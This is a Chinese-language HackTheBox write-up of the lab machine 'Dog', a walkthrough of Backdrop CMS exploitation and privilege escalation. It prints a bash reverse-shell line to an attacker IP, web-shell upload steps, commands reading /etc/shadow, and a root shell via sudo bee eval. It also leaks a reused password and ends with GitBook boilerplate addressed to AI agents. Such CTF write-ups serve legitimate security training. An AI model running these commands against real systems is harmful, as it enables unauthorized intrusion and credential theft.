> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Dog HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**技能：**

* 从 .git 文件夹中提取信息（信息泄露）
* 已认证远程代码执行（Backdrop CMS）
* 横向移动（密码复用）
* sudo bee 二进制文件（执行 PHP 代码）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/dde82b711f31eaec5f106fb6793cf36b899c4769" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/4e739bb176408d2f6aa12f89c08b0200254905fd" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="/files/2600979a5bca8089853805ed0828c8d91a8daa26" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 22、80 端口进行版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="/files/7034909d2de255c680b164480b16c2ec52f80f4e" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/91caec88f7a1a42840b8f092c6480418454d9407" alt=""><figcaption></figcaption></figure>

我们发现一个 **.git** 目录，表明可能存在一个可公开访问的 Git 仓库。该站点使用 **Backdrop** CMS。

<figure><img src="/files/5da6cb5404f1eaef98b6727cca2b077a35467640" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 进行枚举**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

我们发现了几个有趣的目录，包括 **.git**.

<figure><img src="/files/068f6b01b84195b31d6ab2a71926e4e9ad2177e4" alt=""><figcaption></figcaption></figure>

**Git 仓库转储**

我们使用以下命令获取仓库内容：

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="/files/3c3ff00eab2456b09ebce6dfac723ad0f64f4dc1" alt=""><figcaption></figcaption></figure>

我们发现一个 **settings.php** 包含密码的文件：

<figure><img src="/files/4f38b2177c1c25484126c72c588ca05c4f378e93" alt=""><figcaption></figcaption></figure>

我们使用以下命令搜索保存的电子邮件：

```bash
find .git -type f -exec grep -E '@dog' {} +
```

我们找到以下电子邮件： **<tiffany@dog.htb>**.

<figure><img src="/files/7576e447011c45fd9827ea1ee6e2fba22c25beaf" alt=""><figcaption></figcaption></figure>

## **Backdrop CMS 利用（RCE）**

我们使用找到的凭据连接到 CMS。

<figure><img src="/files/5c766649981240cff6a1cf5a295f1d2734b23df5" alt=""><figcaption></figcaption></figure>

**搜索漏洞**

使用 **searchsploit**，我们发现一个 RCE 漏洞：

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/0dc4cdd724af50c4e3549f4dca81ce101e5fdb9d" alt=""><figcaption></figcaption></figure>

我们运行该漏洞利用：

```bash
python3 52021.py http://10.10.11.58
```

这会生成一个包含 PHP shell 的 ZIP 文件。

<figure><img src="/files/a7a2b71d18f9018957b346bcee2bb3e5bfdd3931" alt=""><figcaption></figcaption></figure>

然后我们将 shell 压缩为 **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/4f13f1ecb96720c420fa36a5f1c2e015811ecf3a" alt=""><figcaption></figcaption></figure>

我们通过以下方式注入它： **admin / installer / manual**.

<figure><img src="/files/754227a726490603fae49ae836f2aed509804239" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7d5d3e0d5b47de9aa26cbbcef334af867b03228b" alt=""><figcaption></figcaption></figure>

**命令执行**

我们找到一个文件夹 **modules/cmd/** 包含 **cmd.php**

<figure><img src="/files/01ab5dc38cceb50ab50f9a1aa59a02998bfd4ff6" alt=""><figcaption></figcaption></figure>

使我们能够执行命令：

```bash
ifconfig 
```

<figure><img src="/files/8f21e196111f1b2cc135058837a7bc0be4670e5c" alt=""><figcaption></figcaption></figure>

### **Backdrop CMS 反向 Shell**

我们在 443 端口上开启一个监听器：

```bash
nc -nlvp 443 
```

我们注入一个载荷：

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/f01f810f31902b195e3b2769df7acfee5532e1e9" alt=""><figcaption></figcaption></figure>

连接后，我们稳定 shell：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **权限提升**

### **横向移动到用户 johncusack**

我们列出具有有效 Bash shell 的用户：

```bash
cat /etc/passwd | grep "/bash"
```

我们找到 **root、jobert 和 johncusack**.

<figure><img src="/files/5a70342f376fc0330bece1486013bba3e44d6dd4" alt=""><figcaption></figcaption></figure>

我们尝试复用这些凭据，并通过以下方式获得访问：

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="/files/60db74faf319c2ae40c3c5dac51e5301d96cd7f5" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/e08ed5786a9cb18d035bb7ee233420817b8656a5" alt="" width="557"><figcaption></figcaption></figure>

### **使用 Bee 二进制文件进行权限提升**

我们检查 sudo 权限：

```bash
sudo -l
```

我们可以运行 **/usr/local/bin/bee** 以 root 身份。

<figure><img src="/files/93afeb7b1542210b083087fe2d2ccf371e6b71b6" alt=""><figcaption></figcaption></figure>

**分析 Bee**

{% hint style="info" %}
Bee 是一个用于 **Backdrop CMS**的管理工具，类似于 **Drush** 之于 Drupal。它允许执行各种命令。
{% endhint %}

`用法：bee [全局选项] [选项] [参数]`

<figure><img src="/files/3718a1aec5f23ebe062b3e53a62f4dab8a4a52dc" alt=""><figcaption></figcaption></figure>

我们找到了 **eval** 选项，它允许执行任意 PHP 代码。

<figure><img src="/files/8e5740571e62f02058b9661e25b6b79a7071dfeb" alt=""><figcaption></figcaption></figure>

**读 `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/f893125a3932f3dfbc29befd9d73f83369197cf5" alt=""><figcaption></figcaption></figure>

**已获取 Root Shell**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/3b53a7ba49fbaa3e24b64ad91dfa3e63d5f525e7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a30d77cf8ef7d1e25a9a1d6ffdcec185621b2651" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
